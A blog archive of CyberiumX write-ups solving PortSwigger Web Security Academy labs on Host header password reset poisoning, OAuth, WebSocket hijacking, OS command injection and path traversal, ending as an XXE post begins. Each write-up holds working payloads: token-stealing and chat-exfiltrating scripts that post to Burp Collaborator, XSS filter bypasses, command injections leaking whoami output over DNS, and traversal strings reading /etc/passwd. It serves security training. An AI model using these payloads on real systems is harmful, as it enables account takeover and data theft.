wapt - CyberiumX

PortSwigger- Basic Password Reset Poisoning

Posted on 22 June 202410 July 2024 by CyberiumX

Hello Folks,
This blog focuses on HTTP Host Header vulnerability. We will cover the basics of the HTTP Host header and then we will see a practical implementation of identifying this vulnerability using the PortSwigger platform. In this blog, we will solve the “Basic password reset poisoning” lab under Password Reset Poisoning. So, let’s begin and understand this vulnerability before exploiting the same.
The host header is an HTTP request header that helps to specify which website we want to access. Without this header, our request will not be able to reach the actual web server.
The HTTP Host header vulnerability arises when the server processes the value of the Host header in an insecure way without validating it. The attacker can exploit this header and perform malicious server-side attacks like web cache poisoning, Business logic flaw, routing based SSRF, SQL injection, password reset poisoning, etc.
Here, we are going to see how we can perform a password reset poisoning attack using the Host Header vulnerability. In this attack, the attacker will try to poison the Password reset functionality of a website by pointing the password reset token to the attacker’s public server. Once the attacker can access the token value, the victim’s password can be easily changed.
Let’s understand the same with the help of PortSwigger’s lab.

Lab- Basic password reset poisoning

First, we will read the lab’s description and then click on the “Access the Lab” button. This lab can be solved using Burp Suite Community Edition.
Once the target application is up and running, we have to click on the “My account” button. We will find a login page here. We have to click on the “Forget your password?” button to target the password reset functionality. We need to provide the username/email of the account whose password we have to reset. We will provide “wiener” as the username.
After submitting the username, we have to go to our exploit server and click on the “Email client” button to access the email server. We will find an email with the password reset link for the wiener user. Let’s click on the email to reset the password. We can provide a new password to reset the password of the wiener user. We can now log in as wiener user with the help of the new password.
Now we have to switch to Burp Suite and go to the “HTTP history” sub-tab where we will find a POST request to /forgot-password used to generate the password reset link for the wiener user. To identify HTTP Host header vulnerability, we have to take this request to Repeater and replace the original Host header with any arbitrary URL (cyberiumx.com). Once we send this request, we will find another password reset link on our email where the actual domain name is replaced with our arbitrary domain name.

Let’s come back to Burp Repeater and this time we will change the value of the Host header to the URL of our exploit server. Also, we have to change the username to carlos so that we can send a password change email to our victim user. Now as soon as the user clicks on the link, their password reset token will be sent to our exploit server logs. Let’s check the logs of our exploit server by clicking on the “Access log” button available on our exploit server. There we will find an entry with the token of the victim user.

Let’s copy the token and send the following URL to reset the password of carlos user:

https://<Lab_URL>/forgot-password?temp-forgot-password-token=<Token_value>

As soon as we send this request, we will find a password reset page where we can provide a new password for carlos user. Now let’s log in as carlos user to solve the lab.
Using this lab, we understood how can we identify HTTP Host header vulnerability and exploit it to reset the password of any user. In the upcoming labs, we will explore more attacks using HTTP Host header vulnerability.
You can also explore other Web application vulnerabilities on our website.

Happy Pentesting!
Team CyberiumX

PortSwigger- OAuth Authentication

Posted on 14 November 202311 December 2023 by CyberiumX

Hello folks,
This blog centers on the identification and exploitation of vulnerabilities within OAuth Authentication functionality, specifically focusing on the OAuth 2.0 version. It features an in-depth walkthrough of PortSwigger’s labs, where you can explore OAuth Authentication in more detail.
You can check out the PortSwigger’s labs for OAuth Authentication.
Before proceeding with the labs, I will be explaining about the concept of OAuth Authentication mechanism.
OAuth is a widely adopted authorization framework that empowers websites and web applications to solicit restricted access to a user’s account on a different application. The fundamental OAuth process is extensively employed for incorporating third-party functionality, which necessitates access to specific data from a user’s account.
It operates by orchestrating a sequence of interactions involving three separate entities: the client application, the resource owner, and the OAuth service provider.

Resource owner: This is the user whose data the client application intends to access.
Client application: This refers to the website or web application seeking access to the user’s data.
OAuth service provider: This entity controls the user’s data and access permissions. They facilitate OAuth by offering an API for interacting with both an authorization server and a resource server.

Now we know about OAuth, it’s time to start identifying and exploiting vulnerabilities.

Lab 1- Authentication bypass via OAuth implicit flow

In this lab scenario, we will explore the bypassing of the authentication process by exploiting OAuth’s flow and understanding its vulnerabilities. Our aim is to identify weaknesses that would enable an attacker to gain access to any user’s account without requiring their password.
Click on the “ACCESS THE LAB” button and launch Burp Suite.

Click on “My Account” and login with our Social Media Account credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to Authorize the access of our data to the Client application.

We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite, and we can see different requests that were sent throughout our OAuth Authentication process. In order to identify a vulnerability in the OAuth flow, we need to find an endpoint where we have sent a request with our details and a security token that we received from the OAuth service provider.
Over here, there is an endpoint “authenticate” which contains email, username, and token as body parameters in a POST request.

Let’s take this request to Repeater and then simply try to exploit this vulnerability by changing the email and username with the victim’s details. Now simply send the request.
You will find a response with 302 status code which confirms that we have successfully logged in as victim user i.e. carlos.

Now right click on the response and select the “Show response in browser” option which provides a URL. Click on “Copy” to copy the URL and paste it on your browser.
Now click on “My Account”. We will find that we are logged in as carlos user. Hence, we have solved the lab.

Lab 2- Forced OAuth profile linking

In this scenario, we will learn how we can try to link our social media profile with another user’s account so that we can access their functionality and perform malicious activities. This vulnerability can be performed if the authorization request does not contain a state parameter. This implies that attackers have the potential to initiate an OAuth flow independently and then deceive a user into completing the process.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and login with your client application credentials wiener:peter. Also, you will find a “Login with social media” button which will help us to login with the help of our social media account once we have successfully linked our client application account with a social media account.

We are now logged in to the client application where we have an option “Attach a social profile”.

Let’s click on this and simply follow the steps to login with your social media account with the help of your social media credentials which will link your social profile with your account on client application. After completing the process we will find that we can successfully link our accounts.

Now in order to exploit this vulnerability, we need to generate a new code which remains fresh. So we have to logout from your account and then turn Intercept on. We can generate a new code by simply clicking on the “Login with social media” button. Go to the proxy tab and forward the request until you get /oauth-linking?code=
Now simply right click on the request and select “Copy URL”.

Go to the exploit server and create a payload using <iframe> tag like follows:

<iframe src=”Paste_Link_Here”></iframe>

Click on “Store” and then click on “Deliver exploit to victim”.

Now go back to the web application and try to login using social media by clicking on the “Login with social media” button. We will find that we have access to the Admin panel.

Now click on “Admin panel” and finally we have the option to delete the carlos user. Click on the “Delete” option provided in front of carlos which will solve the lab as well.

Lab 3- OAuth account hijacking via redirect_uri

Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Let’s generate a fresh request by logging out and again clicking on “My account”. This time we will turn Intercept on to capture the fresh request. Forward the requests until we receive /auth endpoint where we will change the value of redirect_uri to our exploit server to confirm whether this parameter is vulnerable and send the code to our exploit server. After making changes click on “Forward”.

We will check the access logs of the exploit server where we will find the code. This confirms that the “redirect_uri” parameter is vulnerable.

Now identify this request on Burp Suite and copy the URL of this request which we will use to deliver to our victim.

We will go to the exploit server and again use a <iframe> tag to provide this URL.

<iframe src=”Paste_Link_Here”></iframe>

We have to make sure that the “redirect_uri” parameter contains the URL of our exploit server. Now store the code and deliver it to the victim.

Now in order to access the code from the victim we need to access the logs of the exploit server again where we will find the code generated for the victim user.

Now we need to use this code to access the account of the administrator user. We can search a request to /oauth-callback endpoint on Burp suite where we will find a code parameter which helps the server to verify the identity of the user. We will simply send this request to Repeater and replace the code with the one we obtained on our exploit server from the victim user. Simply forward the request and we will find a response with 200 status code. Right click on the response and select “Show response in browser” and copy the URL.

Go back to the browser and paste the URL. Finally we will find the Admin panel using which we can simply delete carlos user from the website in order to solve the lab.

Lab 4- Stealing OAuth access tokens via an open redirect

In this scenario we will try to steal OAuth tokens by exploiting open redirect vulnerability. We can employ this as a proxy to redirect victims, along with their code or token, to a domain controlled by an attacker, allowing for the hosting of any malicious script of our choice.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Let’s generate a fresh request by logging out and again clicking on “My account”. This time we will turn Intercept on to capture the fresh request. Forward the requests until we receive /auth endpoint. Now try to identify a vulnerability like directory traversal. After /oauth-callback let’s try to provide a post page using ../post?postId=10 which should take us to postId 10.

Let’s forward the request and confirm on the browser. We will find that we are redirected to the post page. Also we can see that we have the access token mentioned in the URL fragment. We have to get this URL fragment.

To capture the URL fragment, we need to host a malicious script on our exploit server. Also there is another parameter which is vulnerable to open redirection vulnerability /post/next?path= where we can provide our exploit server URL as follows:

<script>
if (!document.location.hash) {
window.location = ‘https://OAUTH-SERVER-URL/auth?client_id= LAB-URL&redirect_uri=https://LAB-URL/oauth-callback/../post/next?path=https://EXPLOIT-SERVER-URL/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email’
} else {
window.location = ‘/?’+document.location.hash.substr(1)
}
</script>

Click on “Store” and then on “Deliver exploit to victim“. Go to the Access log and we will find the access token of a user.

Let’s now copy the token and try to access the information of the administrator user from /me endpoint. Send this request to Repeater and then replace the value of Authorization: Bearer with the one we got on our exploit server and send the request. And finally we got the “apikey” for the administrator user which we can submit to solve the lab.

Lab 5- Stealing OAuth access tokens via a proxy page

Beyond open redirects, it’s essential to search for any other vulnerabilities that enable the extraction of the code or token, which can then be sent to an external domain. If we can direct the redirect_uri parameter to a page where we can inject our own HTML content, there’s a possibility of leaking the code via the Referer header.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Also, we have to audit other pages on the blog website. We can observe that the comment form is included as an iframe on each blog post. Upon closer examination of the /post/comment/comment-form page in Burp Suite, we can notice that it utilizes the postMessage() method to transmit the window.location.href property to its parent window. Importantly, it allows messages to be posted to any origin (*).
So, let’s take the request for /auth endpoint to Repeater and edit the “redirect_uri” parameter. Add /../post/comment/comment-form after the /oauth-callback and send the request.

Now simply copy the URL of this request and go to the exploit server and host the following code:

<iframe src=”https://YOUR-OAUTH-SERVER-URL /auth?client_id=YOUR-LAB-URL&redirect_uri=https://YOUR-LAB-URL/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email”></iframe>

<script>
window.addEventListener(‘message’, function(e) {
fetch(“/” + encodeURIComponent(e.data.data))
}, false)
</script>

The below code adds an appropriate script that will listen for web messages and display the message contents in a designated location i.e. the access logs of the exploit server.

Click on “Store” and finally click on “Deliver exploit to victim”. Go to the “Access log” and we will find the access token of a user.

Let’s now copy the token and try to access the information of the administrator user from /me endpoint. Send this request to Repeater and then replace the value of Authorization: Bearer with the one we got on our exploit server and send the request. And finally we got the “apikey” for the administrator user which we can submit to solve the lab.

We really hope that the blog was informative for you in order to identify and exploit vulnerabilities related to OAuth 2.0 Authentication.
You can check out our other blogs on PortSwigger labs.

Happy Pentesting!!!
Team CyberiumX

PortSwigger- WebSocket Vulnerability

Posted on 13 August 202311 December 2023 by CyberiumX

Hello folks,

This blog focuses on how we can identify and exploit WebSocket vulnerabilities on websites. We will be providing a detailed walkthrough of all PortSwigger’s Lab. Readers should have basic knowledge of WebSockets.

You can check out the Portswigger’s labs for WebSocket vulnerability here.

Let’s proceed without any delay and begin the penetration testing process.

Before starting the labs, let us understand what WebSockets are? A client (often a web browser) and a server can communicate in real-time and in both directions using the WebSockets protocol via a single, persistent connection. WebSockets allow both the client and the server to transmit messages to each other at any time without the need to establish a new connection for each message, in contrast to traditional HTTP requests, which are normally started by the client and handled by the server. This is a new technology and hence contains vulnerabilities. So, let us dive into the identification and exploitation of WebSocket related vulnerabilities.

Lab-1 Manipulating WebSocket messages to exploit vulnerabilities

By altering the contents of WebSocket messages, it is possible to discover and take advantage of the majority of input-based vulnerabilities affecting WebSockets. Let us find out how we can manipulate WebSocket messages.

Access the lab and open Burp Suite Community edition in order to identify WebSocket vulnerability.

On the home page, we will find a “Live chat” option. Let us click on it. It will take us to a chatting functionality where we will be having a live conversation with the support agent.

Let us enter anything to initiate the chat and proxy everything through Burp Suite.

Go to Burp suite and click on “WebSocket history” under Proxy tab. Here we will find all the WebSocket requests and responses that were exchanged between client and server. Let us search for a message request that we sent to the server and send that request to the repeater.

Let’s switch to the repeater tab and change the value of the message to a malicious JavaScript payload which should generate an alert() on the support agent’s browser who is communicating with us. Here is the payload to trigger alert():

<img src=x onerror=alert(“CyberiumX”)>

Send the request which will trigger this payload on the browser of the support agent.

So this is how we can manipulate the WebSocket messages to trigger XXS. This will solve the lab as well.

Lab-2 Manipulating the WebSocket handshake to exploit vulnerabilities

Only by interfering with the WebSocket handshake may some WebSocket vulnerabilities be discovered and taken advantage of. These vulnerabilities frequently entail design errors, such as improper reliance on HTTP headers like the X-Forwarded-For header to make security determinations. Let’s dive into and find how to perform it.

Access the lab and open Burp Suite Community edition in order to identify XXE vulnerability.

On the home page, we will find a “Live chat” option. Let us click on it. It will take us to a chatting functionality where we will be having a live conversation with the support agent.

Let us enter anything to initiate the chat and proxy everything through Burp Suite.

<img src=x onerror=alert(“CyberiumX”)>

Send the request. We will find that the attack has been detected due to an aggressive XXS filter implemented server side.

Also, we will find that the connection has been disconnected. So we need to reconnect with the server by clicking on the Reconnect option.

It will open another window where we can see our reconnect request as well as the response received from the server. Let us click on Response and will find that our IP address has been blacklisted or blocked which means we cannot reconnect with the server using our IP.

We have a header which might help us out here if it is supported by the server. The header is “X-Forwarded-For” which helps us to change our IP to whatever we will provide as a value to this header. So let’s add a header as follows:

X-Forwarded-For: 1

Click on Connect.

We will find that we are again connected with the server. Now we will again make some changes in the payload and try the same steps again if we are disconnected again.

Finally, after trying some XXS payloads, the following payload worked:

<iMG Src=x oNeRRor=alert`“CyberiumX”`>

So, this is how we can manipulate WebSocket handshakes to exploit XXS vulnerability. This will solve the lab as well.

Lab-3 Cross-site WebSocket hijacking

Cross-site request forgery (CSRF) vulnerability on a WebSocket handshake is what causes cross-site WebSocket hijacking, also referred to as cross-origin WebSocket hijacking. It occurs when the WebSocket handshake request does not contain any CSRF tokens or other unpredictable information and instead entirely depends on HTTP cookies to handle sessions. So let’s find out how we can exploit it.

Access the lab and open Burp Suite Professional in order to identify XXE vulnerability. Our webpage will open in a while.

On the home page, we will find a “Live chat” option. Let us click on it. It will take us to a chatting functionality where we will be having a live conversation with the support agent.

Let us enter anything to initiate the chat and proxy everything through Burp Suite.

Go to Burp suite and click on “HTTP history” under the Proxy tab. Search for a GET request to /chat endpoint and right click on the request and click on Copy URL.

Now open the exploit server and in the body section type the following code:

<script>

    var ws = new WebSocket(‘wss://websocket_url’);

    ws.onopen = function() {

        ws.send(“READY”);

    };

    ws.onmessage = function(event) {

        fetch(‘https://Burp_collaborator_url’, {method: ‘POST’, mode: ‘no-cors’, body: event.data});

    };

</script>

In place of websocket_url, paste the copied URL. Remember to remove https:// from the copied URL. Now, let us open Burp Collaborator, copy the subdomain of collaborator and paste the URL in place of Burp_collaborator_url.

Store the payload and click on “Deliver exploit to victim”.

Now, switch to Burp Collaborator window and click on “Poll now”. We will find some interaction with our collaborator subdomain. Let us check the HTTP requests by clicking on each HTTP request and then clicking on “Request to Collaborator”.

We will find a POST request and in the body of which we will find the chats of our victim in JSON format. Now let’s look for the chat where the support agent has provided the password for the victim user. We also got the username of Victim as “Carlos”.

Now copy the Password, go to the “My account” page and login as carlos with the help of the copied password. We will find that we are logged in successfully and the lab is also solved.

This is how we can identify and exploit WebSocket related vulnerabilities.

You can check out our other writeup blogs on PortSwigger’s labs here.

Happy Pentesting!!!

Team CyberiumX

Portswigger- Command Injection Vulnerability

Posted on 28 July 202311 December 2023 by CyberiumX

Hello folks,

This blog focuses on how we can identify and exploit Command Injection vulnerabilities on websites. This is also known as OS Command Injection vulnerability. In this blog, I will be providing a detailed walkthrough of all PortSwigger’s Lab. I am assuming that you guys have basic knowledge of Linux and Windows Operators.

You can check out the Portswigger’s labs for Command Injection vulnerability here.

Let’s proceed without any delay and begin the penetration testing process.

Lab 1- OS command injection, simple case

In this lab scenario, we will be looking at a simple case of Command Injection without any defense in place. The rule 1 in order to exploit this vulnerability is to look for GET and POST parameters on the website. After that, we will simply try to execute OS commands using different operators used on Windows and Linux Operating systems.

Let’s access the lab. We will require the Burp Suite Community edition here.

There are many products available on the home page of the website. We can click on the “View details” button of any product and find that there is a “Check Stock” feature available on the webpage. Let us click on it.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/product/stock” endpoint. Take the request to repeater.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter starting from productId parameter:

& whoami &

After typing the above payload, select the payload and press Ctrl + u to URL encode the whole payload.

+%26+whoami+%26+

Let me explain this payload to you guys. We want to run the “whoami” command, so in order to execute it we provided a URL encoded & operator (%26), one in the beginning and another one in the end. The reason for using & operator is to execute the previous process in the background and then execute the next command. Also, the URL encoding of space is +.

Simply send the request from Burp Repeater.

We will get the output of whoami command in the response which confirms that this parameter is vulnerable to command injection vulnerability. This will solve the lab.

Lab 2- Blind OS command injection with time delays

In this scenario, we will be understanding what Blind Command Injection vulnerability is and what are the possible ways through which we can identify and exploit it? Blind means that you will not get the output of any command in the response but you can still exploit it using various methods. So, first of all we will be identifying blind command injection vulnerability by generating time delays.

Let’s access the lab. We will require the Burp Suite Community edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Over here, we can provide feedback to the website by submitting a feedback form which has four parameters: Name, Email, Subject and Message. Let us fill the form with any random values and click on the “Submit feedback” button. You will get a message on the web page “Thank you for submitting feedback!”

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

& ping –c 10 127.0.0.1 &

After typing the above payload, select the payload and press Ctrl + u to URL encode whole payload.

+%26+ping+-c+10+127.0.0.1+%26+

Let me explain this payload to you guys. We want to run “ping” command so that we can confirm that the web application is waiting for the command to completely execute and then bring back the response to us. The IP that we have used here is called a Loopback address which is its own interface. In the response, we will not get any output (blind). Hence this will cause a time delay which will help us to confirm blind command injection vulnerability on the parameter. Now, in order to execute it, we provided URL encoded “&” operator (%26), one in the beginning and another one in the end. The reason for using “&” operator is to execute the previous process in the background and then execute the next command. Also, URL encoding of space is +.

Firstly, let us use the above payload on the Name parameter

Simply send the request from Burp Repeater.

You will find that you are getting the response immediately which confirms that the parameter is not vulnerable. Now, try the same payload on Email parameter. Simply send the request from Burp Repeater.

This time you will find that we got the response after 6 seconds which we can confirm from the bottom right corner.

So, we got our vulnerable parameters but this must not have solved the lab because in order to solve it we need 10 seconds time delay.

Let us create another payload where we will increase the number of ping packets to 12 as follows:

+%26+ping+-c+12+127.0.0.1+%26+

Again, let’s send the request from Burp Repeater.

This time we can see that we got the time delay of more than 10 seconds.

There is another command that I would like to discuss here. “Sleep” command allows you to wait for the number of seconds we specified in the command and it will also generate the time delay. Let us try it.

+%26+sleep+10+%26+

Again, let’s send the request from Burp Repeater.

You will again find that we got the delay of exactly around 10 seconds which will help you to solve the lab.

Lab 3- Blind OS command injection with output redirection

In this scenario, we will be learning about how we can exploit blind command injection vulnerability by simply redirecting the output of any command into a file which we can easily access on the target website. Let’s see it in action.

Let’s access the lab. We will require the Burp Suite Community edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

+%26+ping+-c+10+127.0.0.1+%26+

It is the same payload that we used in the previous lab to confirm that the parameter is vulnerable to blind command injection vulnerability. Let us directly try the payload on email parameter.

Send the request from Burp Repeater.

We can confirm that the parameter is vulnerable as we got the time delay of around 9 seconds. Great! Let us now change the payload and try to redirect the output of whoami command to any file which we can create in /var/www/images. This location is already provided to us in the lab description. Now the payload will look like the following:

+%26+whoami+>+/var/www/images/a.txt+%26+

Here we are executing the whoami command and then redirecting the output to a file named a.txt using (>) operator which is then stored in the provided location.

Now simply we need to find an image on the webpage and replace the name of the image with our filename and see if it is allowing us to get the command output.

Let’s replace the filename with a.txt and hit enter. We will find that we are getting the output of the whoami command.

This will solve the lab.

Lab 4- Blind OS command injection with out-of-band interaction

In this scenario, we will learn about exploiting blind command injection vulnerability using OAST techniques. We can check if the parameter is vulnerable by using commands like ping or nslookup to send a request to a domain that we control. So, we need to use Burp Collaborator. Let us see how to exploit it.

Let’s access the lab. We will require the Burp Suite Professional edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Now in order to use OAST techniques, we need a Burp Collaborator. So, we will open it and copy the Collaborator’s subdomain by clicking on “Copy to Clipboard”.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

+%26+ping+BURP_COLLABORATOR_SUBDOMAIN+%26+

Here, we are simply trying to ping the collaborator’s subdomain to confirm that if we receive any DNS requests on our Collaborator window then the parameter is vulnerable. Let us directly try the payload on email parameters.

Send the request from Burp Repeater.

Now, we will switch to the Burp Collaborator window and click on “Poll now” to check if we received any DNS requests or not.

We will find that we received some interaction with subdomain which confirms that the email parameter is vulnerable to blind command injection vulnerability.

We can also use nslookup to send DNS requests to the subdomain using the following payload:

+%26+nslookup+BURP_COLLABORATOR_SUBDOMAIN+%26+

Send the request from Burp Repeater.

Now, we will switch to the Burp Collaborator window and click on “Poll now” to check if we received any DNS requests or not.

We will again find that we received some interaction with the subdomain. Hence it will solve the lab also.

Lab 5- Blind OS command injection with out-of-band data exfiltration

In the final scenario, we will learn how we can exfiltrate data using OAST techniques. We will use Burp Collaborator’s subdomain to get (exfiltrate) the output of any command. Let us begin the process.

Let’s access the lab. We will require Burp Suite Professional edition here.

We will find a “Submit feedback” button in the top right corner. Let us click on it and see what functionality we have here.

Go to Burp suite’s Proxy tab then click on HTTP History tab to access all the recently browsed pages and web requests.

There you will find a POST request to the “/feedback/submit” endpoint. Take the request to repeater.

Now in order to use OAST techniques, we need a Burp Collaborator. So, we will open it and copy the Collaborator’s subdomain by clicking on “Copy to Clipboard”.

Go to repeater tab and in order to identify which parameter is vulnerable to command injection, we need to use the following payload as a value for each parameter:

+%26+ping+`whoami`.BURP_COLLABORATOR_SUBDOMAIN+%26+

Here, we are simply trying to use a command whoami as a subdomain of collaborator’s domain and using ping command to confirm that if we receive any DNS requests on our Collaborator window then the parameter is vulnerable and it will contain the output of whoami command. Let us directly try the payload on email parameter.

Send the request from Burp Repeater.

Now, we will switch to the Burp Collaborator window and click on “Poll now” to check if we received any DNS requests or not.

We will find that we received some interaction with subdomain which confirms that the email parameter is vulnerable to blind command injection vulnerability. If we click on any DNS request, we will find the output of whoami command as a subdomain of the collaborator’s domain name.

We can submit the output of the whoami command and this will solve the lab.

We have discovered many ways to identify and exploit Command Injection Vulnerabilities.

You can also check out our other PortSwigger blogs here.

Happy Pentesting!!!

Team CyberiumX

PortSwigger- Path Traversal Vulnerability

Posted on 18 July 202311 December 2023 by CyberiumX

Hello folks,

This blog focuses on how we can identify and exploit Path Traversal vulnerabilities on websites. This is also known as Directory Traversal vulnerability. In this blog, I will be providing a detailed walkthrough of all PortSwigger’s Lab on Path Traversal. I am assuming that you guys have basic knowledge of it.

You can check out the Portswigger’s labs for Path Traversal vulnerability here.

Let’s proceed without any delay and begin the penetration testing process.

Lab 1- File path traversal, simple case

In this lab scenario, we will be looking at a simple case of Path Traversal without any defense in place. The rule 1 in order to exploit this vulnerability is to look for GET parameters and then try to add dot dot slash combinations (../) to access other files stored on the server.

Let’s access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on “View details” button of any product and find that there is a “productId” parameter on the URL but if you try to include the ../ combinations, you will find that it is not vulnerable to path traversal.

We will keep on looking for some other parameters. If we open the image in the new tab by right clicking on the image and selecting the “Open image in new tab” option, we will find that there is another parameter named “filename” which might be vulnerable to path traversal.

Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

And we can see that it worked as we have a small image in our browser.

Now in order to see the passwd file we can simply add view-source: in front of the whole URL and it will help us to see the source code of the webpage which will show the contents of the passwd file.

This will help us to solve the lab.

Lab 2- File path traversal, traversal sequences blocked with absolute path bypass

Many web applications will implement some common obstacles to prevent Path traversal vulnerability but these defenses can be circumvented. Here in this scenario, we will be exploring a bypass technique using the absolute path of the file that we want to read.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Now we will simply remove the path traversal sequence and directly provide the absolute path of the file that we want to read as follows:

filename=/etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 3- File path traversal, traversal sequences stripped non-recursively

In this scenario we will understand another obstacle which we might find in real-time websites. The web application can filter out dot dot slash (../) combinations in order to stop path traversal attack. Let us understand what we can do to easily bypass it.

Access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us now add the nested path traversal sequences like ….// or ….\/ which will work as the inner sequence will be filtered out and rest will help you to read the contents of system files. So the payload will be:

filename=….//….//….//….//….//….//….//etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 4- File path traversal, traversal sequences stripped with superfluous URL-decode

In this scenario, we will learn another concept to bypass the obstacles for path traversal vulnerability by simply encoding the ../ characters using URL encoding. Let us understand the concept.

Access the lab. We will not require a Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. So the payload will be:

filename=../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us now URL encode the ../ combination and use it as follows in order to bypass it:

filename= %2e%2e%2f %2e%2e%2f %2e%2e%2f %2e%2e%2f %2e%2e%2f/etc/passwd

Here, %2e%2e%2f is the URL encoding of ../ sequence. After using this payload, we will find that again we are still getting the same error.

Let us now try to perform double URL encoding on our payload as follows:

filename=%252e%252e%252f %252e%252e%252f %252e%252e%252f %252e%252e%252f %252e%252e%252f/etc/passwd

Here %252e%252e%252f is the double URL encoding of ../ sequence. We will find that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 5- File path traversal, validation of start of path

In this scenario, we will see that the application can also validate the start of file path which will allow us to read those files which will have the same start of path but there is a method through which we can exploit it. Let’s try it out.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. You will find that this time there is a pre-defined path “/var/www/images”. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “Missing parameter filename”.

Let us add the start of path as “/var/www/images” and after that we can add the same ../ sequence to read the contents of /etc/passwd file as follows:

filename=/var/www/images/../../../etc/passwd

And we can see that it worked as we have a small image in our browser.

This will help us to solve the lab.

Lab 6- File path traversal, validation of file extension with null byte bypass

Sometimes, the application might check the extension of the file which you asked for and if that extension is not the expected one then we need to add the extension at the end of the file with null byte character (%00). Let’s find out how we can bypass this restriction.

Access the lab. We will not require Burp Suite here.

There are many products available on the home page of the website. We will click on the “View details” button of any product and find that there is a “productId” parameter on the URL. We can try different bypass steps but this parameter is not vulnerable.

We will keep on looking for some other parameters. Let’s try the same filename parameter after accessing the image in a new tab. Note the allowed extension of the image file. Now we will replace the image name with our path traversal payload as follows:

filename=../../../../../../../etc/passwd

We will find that we got an error saying “No such file”.

Let us add the null byte character (%00) at the end and after that we will add the expected file extension which is jpg as follows:

filename=../../../../../../../etc/passwd%00.jpg

And we can see that it worked as we have a small image in our browser. Now let us understand how this payload is working. Null byte character is a URL encoded character which means nothing and also we added the jpg extension which will trick the application into sending the request further as the file is ending with the expected extension but the server side code will only consider till passwd as after it we have added the null byte which means the file name ends there.

We discovered many ways to identify and bypass the restriction for path traversal vulnerability. So this was all about Path traversal aka Directory traversal vulnerability.

You can also check out our other blogs here.

Happy Pentesting!!!

Team CyberiumX

PortSwigger- Finding Hidden XXE Attack Surfaces

Posted on 16 July 202311 December 2023 by CyberiumX

Hello folks,

This blog will focus on how we canidentify and exploit hidden XXE attack surfaces for XML External Entities (XXE) injection vulnerabilities on websites. Here, I will be providing a detailed walkthrough of PortSwigger’s XXE Attack Practitioner Lab. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the XXE labs on PortSwigger.

Lab-1 Exploiting XInclude to retrieve files

There are many applications which do not directly parse the XML code but instead embed the code in an XML document and then parse the whole document. In these situations, we cannot define and control any entity. But we have a mechanism called XInclude which is used to include subdocuments in the main XML document. So, let’s explore it more.

Access the lab and open Burp Suite in order to identify XXE attack vulnerability. Our web page will open in a while.

